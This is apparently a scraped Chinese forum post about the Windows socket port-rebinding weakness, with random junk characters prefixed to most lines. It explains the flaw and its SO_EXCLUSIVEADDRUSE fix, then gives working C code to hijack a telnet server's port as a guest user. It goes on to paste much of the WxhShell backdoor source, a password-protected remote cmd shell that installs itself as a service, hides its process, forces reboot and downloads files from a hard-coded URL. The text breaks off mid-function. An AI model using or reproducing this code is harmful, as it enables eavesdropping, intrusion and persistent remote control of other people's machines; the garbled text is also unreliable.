在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(%W&4a1di s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M8b;d}XL dIBE!4 V[ saddr.sin_family = AF_INET;
>:!X.TG$ LRG6:& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&wE%<"aRAl o\pVp bB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2nIw7>.}f Jh[UtYb5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
GMl;7?RA |(LZ9I 这意味着什么?意味着可以进行如下的攻击:
qF-@V25P FfPar:PHj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
k<{{* spPNr 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
oVfLnI; &,CiM0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
FXN/Yq Q_X.rUL0w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6U,O*WJ%e dl@%`E48w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bPt!yI: l
+OFw)8od 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
u=7J/!H7^ 7.#F,Ue_0T 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
QTXt8I \\dMy9M- #include
$ ,}E #include
5VAK:eB #include
y6,/:qm #include
9!}8UALD DWORD WINAPI ClientThread(LPVOID lpParam);
$!yW_HTx int main()
Q;JM$a?5iV {
^R
Fp8w( WORD wVersionRequested;
0dhaAq`k DWORD ret;
#(JNn'fzq WSADATA wsaData;
4 k _vdz BOOL val;
5ZK@`jkE SOCKADDR_IN saddr;
c~uKsU SOCKADDR_IN scaddr;
4f'V8|QM{ int err;
,+xB$e SOCKET s;
c>RFdc:U SOCKET sc;
q):5JXql~ int caddsize;
CtAwBQO HANDLE mt;
u5: q$P DWORD tid;
/%TI??PGu wVersionRequested = MAKEWORD( 2, 2 );
'JfdV%M err = WSAStartup( wVersionRequested, &wsaData );
lP@Ki5 if ( err != 0 ) {
<Fc;_GG printf("error!WSAStartup failed!\n");
,N[7/kT| return -1;
_i|t
Y4L }
3ojlB |Z saddr.sin_family = AF_INET;
% <*g!y ` HbAkZP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0ANZAX5 kZZh"#W: L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cm[&? saddr.sin_port = htons(23);
z>Hgkp8D" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$gy*D7 {
X4E%2-m@' printf("error!socket failed!\n");
a8iQ4
return -1;
=&2Lb }
^,_w$H val = TRUE;
Md2>3- //SO_REUSEADDR选项就是可以实现端口重绑定的
khrb-IY@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
s,=i_gyPQ {
orfO^;qTY printf("error!setsockopt failed!\n");
/!$c/QZ return -1;
fM63+9I)\ }
K]0:?h;%Ld //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f[a}aZ9) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ahOM CZF| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,Pjew% `t9?=h! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
dEA6 {
O6/f5 ret=GetLastError();
4VCOKx printf("error!bind failed!\n");
e<h~o!za return -1;
K4;'/cS }
I}6\Sv= listen(s,2);
t&CJ%XP while(1)
gy0haW {
lq&wXi caddsize = sizeof(scaddr);
YWe"zz //接受连接请求
GlT7b/JCG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Uo>]sNP~ if(sc!=INVALID_SOCKET)
2hkRd>)&5 {
5>j)kx=J9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i9A+gtd if(mt==NULL)
[[Fx[ {
pDcjwlA% printf("Thread Creat Failed!\n");
7cO n9fIE break;
U($dx.`v# }
{(wHPzq }
ac.Ms (D CloseHandle(mt);
pxf$1 }
k
|%B?\m closesocket(s);
7C ,UDp| WSACleanup();
#Av.iAs return 0;
;@Z#b8aM} }
?zVL;gVWA DWORD WINAPI ClientThread(LPVOID lpParam)
f[~L?B;_L {
OJzs Q SOCKET ss = (SOCKET)lpParam;
.!,z:l$Kh SOCKET sc;
(egzH? unsigned char buf[4096];
D'A/wG SOCKADDR_IN saddr;
(%xwl long num;
Mo @C9Y0 DWORD val;
K7W6ZH9; DWORD ret;
`~;rblo; //如果是隐藏端口应用的话,可以在此处加一些判断
@reeO= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
C@W"yYt saddr.sin_family = AF_INET;
,o,I5>` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ICkp$u^ saddr.sin_port = htons(23);
0B@Jity#! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
e\JojaV {
R>"OXFaE printf("error!socket failed!\n");
O1*NzY0Y%- return -1;
BWuqo }
/_Z652@ val = 100;
r*_ZJ*h[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ux3<l +jv^ {
.Pw\~X3! ret = GetLastError();
.0O2Qqdg return -1;
3*)ig@e6 }
S"$m] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yH*6@P4:0= {
Zrr5csE ret = GetLastError();
,|plWIl~ return -1;
.?e\I`Kk^' }
,NVsn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
e `,ds~ {
F^LZeF[#t printf("error!socket connect failed!\n");
FMkzrs closesocket(sc);
c#]q^L\x closesocket(ss);
<_Q:'cx' return -1;
hq/k*; }
MxcFvo*LCp while(1)
wz.6du6- {
eT8} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=xJKIu //如果是嗅探内容的话,可以再此处进行内容分析和记录
G0;XaL: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_}VloiY num = recv(ss,buf,4096,0);
)V:]g\t if(num>0)
n>`as send(sc,buf,num,0);
/'DsB%7g else if(num==0)
YH_7=0EJ break;
-!L"') num = recv(sc,buf,4096,0);
X'% ;B if(num>0)
QZhjb send(ss,buf,num,0);
g
HbxgeL else if(num==0)
6]pX>Xho break;
Y.U[wL> }
T%n2$ closesocket(ss);
{Gw.l." closesocket(sc);
@%lBrM return 0 ;
zyg
}F }
e^Ky<*Y z)=+ F] XNb ZNaAd ==========================================================
,qrQ"r9 GSQ/NYK 下边附上一个代码,,WXhSHELL
u% n*gcY b-*3 2Y% ==========================================================
^ Dt#$Z lmSo8/%T #include "stdafx.h"
=)`
p_W 9{8GP #include <stdio.h>
$gM8{.! #include <string.h>
<K4,7J$}h #include <windows.h>
ZzBQe #include <winsock2.h>
STw#lU) %( #include <winsvc.h>
(q7
Ry4- #include <urlmon.h>
\7
NpT}dj U(;&(W"M
#pragma comment (lib, "Ws2_32.lib")
aCxE5$~$ #pragma comment (lib, "urlmon.lib")
LtKI3ou dk<XzO~g #define MAX_USER 100 // 最大客户端连接数
NwR}yb6 #define BUF_SOCK 200 // sock buffer
Z@%HvB7 #define KEY_BUFF 255 // 输入 buffer
9bq<GC'eX8 eDZ8w #define REBOOT 0 // 重启
&"mzwQX #define SHUTDOWN 1 // 关机
Q;J`Q wkH 6q6FB #define DEF_PORT 5000 // 监听端口
%F*|;o7 s *d',Vuv&[ #define REG_LEN 16 // 注册表键长度
okFvn; #define SVC_LEN 80 // NT服务名长度
>xn}N6Rj2~ ulJX1I=|p // 从dll定义API
n%\
/J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2{.QjYw^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\S)2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$VQtwuYt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
=FT98H2*| n7YEG-J // wxhshell配置信息
VCcr3Dx()F struct WSCFG {
*I0-O*Xr int ws_port; // 监听端口
rUjdq/I:Z char ws_passstr[REG_LEN]; // 口令
oejfU;+$ int ws_autoins; // 安装标记, 1=yes 0=no
M}wXJ8aF? char ws_regname[REG_LEN]; // 注册表键名
5 VA(tzmCt char ws_svcname[REG_LEN]; // 服务名
q0bHB_|wL char ws_svcdisp[SVC_LEN]; // 服务显示名
?`Y\)'} char ws_svcdesc[SVC_LEN]; // 服务描述信息
<x),,a=X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:g\rQazxO int ws_downexe; // 下载执行标记, 1=yes 0=no
LR,7,DH$9' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
')$NfarQ. char ws_filenam[SVC_LEN]; // 下载后保存的文件名
lw(e3j U70]!EaT };
PSmfiaThwo 0G2g4DSKD // default Wxhshell configuration
Zf>^4_x3P struct WSCFG wscfg={DEF_PORT,
(?b@b[D~4 "xuhuanlingzhe",
A;u" <KG? 1,
5]1h8PW!Y "Wxhshell",
pBC<u "Wxhshell",
{A o,t+j "WxhShell Service",
9lo[&^< "Wrsky Windows CmdShell Service",
WWZ9._ "Please Input Your Password: ",
.~gl19#:T 1,
{3Vk p5%l "
http://www.wrsky.com/wxhshell.exe",
U\?g* "Wxhshell.exe"
g3%t8O/M };
ro[Y-o5Q0 Fequm+ // 消息定义模块
-n? g~(/P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.M4IGOvOS char *msg_ws_prompt="\n\r? for help\n\r#>";
5b6s4ZyV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
jUqy8q& char *msg_ws_ext="\n\rExit.";
?QDWuPhN char *msg_ws_end="\n\rQuit.";
PZD>U)M char *msg_ws_boot="\n\rReboot...";
rB%$;<`/ char *msg_ws_poff="\n\rShutdown...";
da$BUAqU char *msg_ws_down="\n\rSave to ";
8%~t VIR. yh char *msg_ws_err="\n\rErr!";
S2VVv$r_6 char *msg_ws_ok="\n\rOK!";
xDO7A5 gX?n4Csy' char ExeFile[MAX_PATH];
9%iFV
N' int nUser = 0;
d=]U_+ HANDLE handles[MAX_USER];
s
Fgadz6O int OsIsNt;
bxXiQa U~2`P SERVICE_STATUS serviceStatus;
oT|m1aGE SERVICE_STATUS_HANDLE hServiceStatusHandle;
,`8Y8 '7im // 函数声明
dy>|cj int Install(void);
- n6jG}01b int Uninstall(void);
RX2{g^V7 int DownloadFile(char *sURL, SOCKET wsh);
pD@zmCU int Boot(int flag);
i$-#dc2qY void HideProc(void);
sst,dA V$ int GetOsVer(void);
HpexH{.u) int Wxhshell(SOCKET wsl);
Ok%}|/P4 void TalkWithClient(void *cs);
'?GQ~Bf<> int CmdShell(SOCKET sock);
H%z@h~s> int StartFromService(void);
kYxS~Kd< int StartWxhshell(LPSTR lpCmdLine);
&}`K^5K|O: $'[q4 wo< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\`xkp[C VOID WINAPI NTServiceHandler( DWORD fdwControl );
*,\` o~ P l{QOR // 数据结构和表定义
9''p[V.3 SERVICE_TABLE_ENTRY DispatchTable[] =
1:= `Y@.S {
w9#R' {wscfg.ws_svcname, NTServiceMain},
xnq><4 {NULL, NULL}
qA/bg };
^i:\@VA: ]R_G{% // 自我安装
cQFR]i int Install(void)
twk&-:' {
H*W):j}8 char svExeFile[MAX_PATH];
%>XN%t'6aT HKEY key;
| D.C!/69 strcpy(svExeFile,ExeFile);
P?3{z="LzJ z4}
%TT@^ // 如果是win9x系统,修改注册表设为自启动
hPufzhT if(!OsIsNt) {
RFG$X-.e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"6I[4U"@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&(& RegCloseKey(key);
'0+$ m= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a`Z{
xme= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z-|li}lDr RegCloseKey(key);
iG[?
]] return 0;
Ds5NAp:x }
^@}#me@ }
Eqphd!\#6 }
GH3#E*t+[ else {
Qp!Y.YnPd_ cINHH !v // 如果是NT以上系统,安装为系统服务
H|+tC=]4IZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-WT3)On if (schSCManager!=0)
e!o(g&wBj {
cj(X2L SC_HANDLE schService = CreateService
Gidkt;lj (
f:%SW schSCManager,
mpef]9 wscfg.ws_svcname,
{~GR8
U wscfg.ws_svcdisp,
GFR!n1Hv SERVICE_ALL_ACCESS,
u;n(+8sz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1| xN%27> SERVICE_AUTO_START,
+(ny|r[# SERVICE_ERROR_NORMAL,
p~bkf> svExeFile,
3B,QJ& NULL,
o?!uX|Fy NULL,
9p>
/?H| NULL,
KZK,w#9. NULL,
s[-]cHQ NULL
]A!.9Ko}u );
hmGdjw t$ if (schService!=0)
<7gMl {
[(cL/_ CloseServiceHandle(schService);
,z66bnjO CloseServiceHandle(schSCManager);
(G5xkygR9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
OKQLv+q5K) strcat(svExeFile,wscfg.ws_svcname);
KF{a$d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
La}o(7=s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
HP$K.a7H RegCloseKey(key);
{Nq?#%vdT return 0;
Jf+7"![| }
UpeQOC }
q$^<zY CloseServiceHandle(schSCManager);
#K`B<2+T }
Bz]J=g7 }
>i8~dEbB @Qo,p return 1;
A1<k1[5fJ }
MYTS3( `D)S-7BR // 自我卸载
+(AwSh ! int Uninstall(void)
@9_)On9hZ {
]7F)bIG[ HKEY key;
ZW* fOaj lS3 _Ild if(!OsIsNt) {
)@c3##Zp) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NS5 49S RegDeleteValue(key,wscfg.ws_regname);
H^v{Vo RegCloseKey(key);
n^6TP'r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0Uaem RegDeleteValue(key,wscfg.ws_regname);
J3\)Jy RegCloseKey(key);
GI4oQcJ return 0;
HWR&C }
k6g|7^es2 }
4(iS-8{J }
7z>+w else {
L{K*~B -p 4JK@<GBK6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
2))t*9;h if (schSCManager!=0)
KW:r;BFx {
y<uE-4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
x9\J1\ if (schService!=0)
J=L`]XE {
GG>Y/;^ if(DeleteService(schService)!=0) {
A[RN-R, CloseServiceHandle(schService);
eH
`t \n CloseServiceHandle(schSCManager);
%o-jwr}O{ return 0;
T`mEO\f }
7 FIFSt CloseServiceHandle(schService);
q @*UUj@ }
eHROBxH& CloseServiceHandle(schSCManager);
WnO DDr
}
+cw{aI`a8 }
9T]va]w?# 2q|_Dma return 1;
(>r|j4$ }
bN4d:0 Y T/5nu?v // 从指定url下载文件
*<CxFy;| int DownloadFile(char *sURL, SOCKET wsh)
Obg@YIwn {
%g5jY%dg.r HRESULT hr;
@6[x%j/!bt char seps[]= "/";
l^BEFk; char *token;
\)s3b/oap char *file;
9OhR41B char myURL[MAX_PATH];
r"1A`89 char myFILE[MAX_PATH];
c_[ JjG^?P F94V 5_[ strcpy(myURL,sURL);
e)br`CD% token=strtok(myURL,seps);
M;> ha,x while(token!=NULL)
cnC_#kp {
*\C}Ok= file=token;
}RH lYN token=strtok(NULL,seps);
<f[9j u }
+%x^ RV} 4KZ SL:A GetCurrentDirectory(MAX_PATH,myFILE);
>5df@_' strcat(myFILE, "\\");
w4`!Te strcat(myFILE, file);
`GP3D~ send(wsh,myFILE,strlen(myFILE),0);
7ia"u+Y send(wsh,"...",3,0);
]P
JH'= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
I_K[!4~Kn if(hr==S_OK)
fyGCfM return 0;
*;Ak5.du else
}1@n(#|c return 1;
`2sdZ/fO .k
p$oAL }
^]KIgGv\ V_ {vZ/0e // 系统电源模块
0U9+ int Boot(int flag)
s%FP6u7[i {
E]1\iV HANDLE hToken;
57'q;I TOKEN_PRIVILEGES tkp;
:Q8g?TZ Ml8E50t>; if(OsIsNt) {
y}CkzD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
i:\bqK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
6_pDe tkp.PrivilegeCount = 1;
pFS
F[9?e> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$/MY,:*e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
T27:"LVw if(flag==REBOOT) {
K@y-)I2] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J,MT^ B return 0;
gjO
*h3` }
wYC9~ms- else {
g2!0vB> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u;$I{b@M] return 0;
e1:u1(". }
a"MTQFm' }
_QD/!~O else {
yIM.j;5:~5 if(flag==REBOOT) {
yl[2et if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b;SFI^
return 0;
YL;SxLY }
,ZLG7e else {
}3bQ>whF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K
lPm= return 0;
U$MWsDn
}
?<-wHj) }
Y=PzN3 y-D>xV)n return 1;
F%w\D9+P }
E
`?S!*jm &;'w8_K"^ // win9x进程隐藏模块
W,0KBkkp void HideProc(void)
8/Lu'rI {
ajf_)G5X P [^cs~
n4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
")fOup@ ^a if ( hKernel != NULL )
?+5"
%4o {
g-4gI\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4;B=Qoxe ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/5Gnb.zN) FreeLibrary(hKernel);
1uK)1%vK }
6nM
rO$i0k *g}vT8w'} return;
d@_'P`%- }
h #$_<U M80}3mgP~ // 获取操作系统版本
_Y}^%eFw int GetOsVer(void)
?z*W8b]' {
j 8~Gv=(h OSVERSIONINFO winfo;
n=lggBRx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7Y| Wy
Oq GetVersionEx(&winfo);
,C5@P+A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eh8<?(eK return 1;
@B}&62T else
Yb,G^+; return 0;
%Z-Tb OX }
Yj|c+&Ng &lO Xi?&" // 客户端句柄模块
D3,t6\m int Wxhshell(SOCKET wsl)
LR
8e|H0 {
W$x K^} SOCKET wsh;
P}w^9=;S struct sockaddr_in client;
$Qx(aWE0 DWORD myID;
M%nZu{ V}3~7( while(nUser<MAX_USER)
6%Cna0x:& {
$~;6 hnrm int nSize=sizeof(client);
_R>s5|_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?STI8AdO
if(wsh==INVALID_SOCKET) return 1;
RXCygPT <"j"h=tm} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_dH[STT if(handles[nUser]==0)
|\yDgs%EGy closesocket(wsh);
[kU[}FT else
gwkZk-f\p nUser++;
S1 R #] }
?w|\7T.? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
URj%
J/jD hfP(N_""S return 0;
VH$\ a~| }
)^QG-IM F~11 _ // 关闭 socket
TLR Lng void CloseIt(SOCKET wsh)
ul]m>W {
$)WH^Ir~ closesocket(wsh);
1{Sx V nUser--;
d@`-!" ExitThread(0);
qrORP3D@ }
}VJ hw*s Ezo" f // 客户端请求句柄
3 8ls 4v3 void TalkWithClient(void *cs)
"X!_37kQ {
-&HoR!af "1pZzad
SOCKET wsh=(SOCKET)cs;
b W`)CWd char pwd[SVC_LEN];
`s|\"@2 char cmd[KEY_BUFF];
_YD<Q@ char chr[1];
+eH=;8 int i,j;
(\AszLW iIC9rso"Q1 while (nUser < MAX_USER) {
U iPVZ@? f/|a?n2\hm if(wscfg.ws_passstr) {
}T^v7 LY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|x}&wFV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)gm \e?^ //ZeroMemory(pwd,KEY_BUFF);
ek_i{'hFd i=0;
d,E/9y\e while(i<SVC_LEN) {
kB!M[[t aNh1e^j // 设置超时
<jg
wdbT"6 fd_set FdRead;
jAK`96+D~b struct timeval TimeOut;
\)s 3]/"7 FD_ZERO(&FdRead);
r]K0
]h@B FD_SET(wsh,&FdRead);
0v,`P4_k TimeOut.tv_sec=8;
>LRaIU> TimeOut.tv_usec=0;
`;8u9Ff int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
!{|yAt9kP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
x,@O:e o2t@-dNi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4$#ia
F pwd
=chr[0]; O,z%7><
if(chr[0]==0xd || chr[0]==0xa) { 1tK6lrhj
pwd=0; d#$i/&gE
break; FCw
VVF0y
} 2* cKFv{
i++; FnU{C= P
} RdpQJ)3F
19.!$;
// 如果是非法用户,关闭 socket ,L;c{[*rh
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N'W>pU
} Ij,?G*
9dhFQWz"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YfYL?G
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u8)r
W
;z=C^'
while(1) { :8/M6-EK
OW5|oG
ZeroMemory(cmd,KEY_BUFF); \c`r9H^v{
P+h<{%:*
// 自动支持客户端 telnet标准 5&7?0h+I
j=0; ~O3uje_
while(j<KEY_BUFF) { A_$Mt~qKi^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W,eKQV<j
cmd[j]=chr[0]; "{1}
if(chr[0]==0xa || chr[0]==0xd) { fCo2".Tk
cmd[j]=0; r E*u
break; MLDg).5
} ;Z<*.f'^fc
j++; d~oWu [F*
} Ns] 9-D
3t}o0Ai9
// 下载文件 >w2WyYJYH
if(strstr(cmd,"http://")) { p9bxhnn|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); B7^n30+L
if(DownloadFile(cmd,wsh)) h4xf%vA(;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %EhU!K#[
else )#TJw@dNf^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ROiX=i
} 0}3'h#33=
else { hdWp
g 0_r
switch(cmd[0]) { \<+47+
pHbguoH,
// 帮助 3lEU$)QA3
case '?': { x)Om[jZE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,'0oj$~S:
break; N`^W*>XB
} KPvYq?F>4
// 安装 _1bd)L&dF
case 'i': { m##z
if(Install()) ^)K[1]"uM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /bj`%Q.n
else (E]K)d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IpVwn Nj!}
break; [A/+tv
} #1lS\!
// 卸载 ;eSf4_~
case 'r': { mI*>7?
if(Uninstall()) vxfh1B&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]hkQo
else ]d;/6R+Vs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RIpq/^Th
break; ~8 a>D<b
} @G-k]IWi
// 显示 wxhshell 所在路径 xRZT
case 'p': { tqk6m# @(
char svExeFile[MAX_PATH]; `v+O5
strcpy(svExeFile,"\n\r"); {Q3#]Vu
strcat(svExeFile,ExeFile); 5m;wMW<
send(wsh,svExeFile,strlen(svExeFile),0); zEL[%(fnc
break; +4vX+;: br
} &(1NOyX&
// 重启 G
U/k^Qy
case 'b': { NjMLq|X
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H[yLlv
if(Boot(REBOOT)) Sgk{NM7|k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %R5MAs&-5
else { -]MP,P%
closesocket(wsh);
Y2$`o4*3
ExitThread(0); 5rSth.&
} aWK7 -n
break; \crmNH)3
} X-WvKH(=w
// 关机 fmyS#
6"
case 'd': { dfd%A"
I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B{u.Yc:
if(Boot(SHUTDOWN)) F?4'>ZW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O&RHCR-\
else { >R0j<:p :
closesocket(wsh); ?(hQZR
0e
ExitThread(0); f
}e7g d]M
} *wx^mB9
break; +Rd{ ?)2~
} 25KZe s)
// 获取shell p;01a
case 's': { t`D@bzLC%
CmdShell(wsh); f}uCiV!?v
closesocket(wsh); Bnc
ExitThread(0); 89dC
bF3b
break; AH,F[vS
} :Bc;.%
// 退出 ! (tJZ5
case 'x': { b%$C!Tq'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |"*:ZSj
CloseIt(wsh); No+zw% l0E
break; $h
f\ #'J
} Nd)o1{I
// 离开 HAdm,
case 'q': { j>M%?Tw
send(wsh,msg_ws_end,strlen(msg_ws_end),0); FkkB#Jk4
closesocket(wsh); 0`=?ig_
WSACleanup(); \'b-;exH
exit(1); c9k,Dc
break; B75SLK:h=
} c9={~
} Q&;qFv5-l
} Q:=/d$*xd
k9?+9bExXA
// 提示信息 40ZB;j$l
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c *no H[
} arrcHf4O
} (J#3+I
4 ETVyK|
return; nwVtfsb
} ] lTfi0}g_
YiMecu
// shell模块句柄 \rO>FE
int CmdShell(SOCKET sock) J'v|^`bE
{ 3E9j%sYk
STARTUPINFO si; 9|DC<Zn&B#
ZeroMemory(&si,sizeof(si)); ;c}];ZU3G
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +r"$?bw'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,iy
PROCESS_INFORMATION ProcessInfo; k$/].P*!
char cmdline[]="cmd"; <GEn9;\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zt6ep=
return 0; wtyu"=
} ?a(3~dh|
@x4Dt&:"
// 自身启动模式 |+''d
int StartFromService(void) 06
1=pV$CJ
{ QI<3N
typedef struct o~ed0>D-LS
{ "f+2_8%s+
DWORD ExitStatus; \x}UjHYIc&
DWORD PebBaseAddress; GC2<K
DWORD AffinityMask; QJ?!_2Ax
DWORD BasePriority; st>t~a|T
ULONG UniqueProcessId; =uTV\)
ULONG InheritedFromUniqueProcessId; >Fh@:M7z
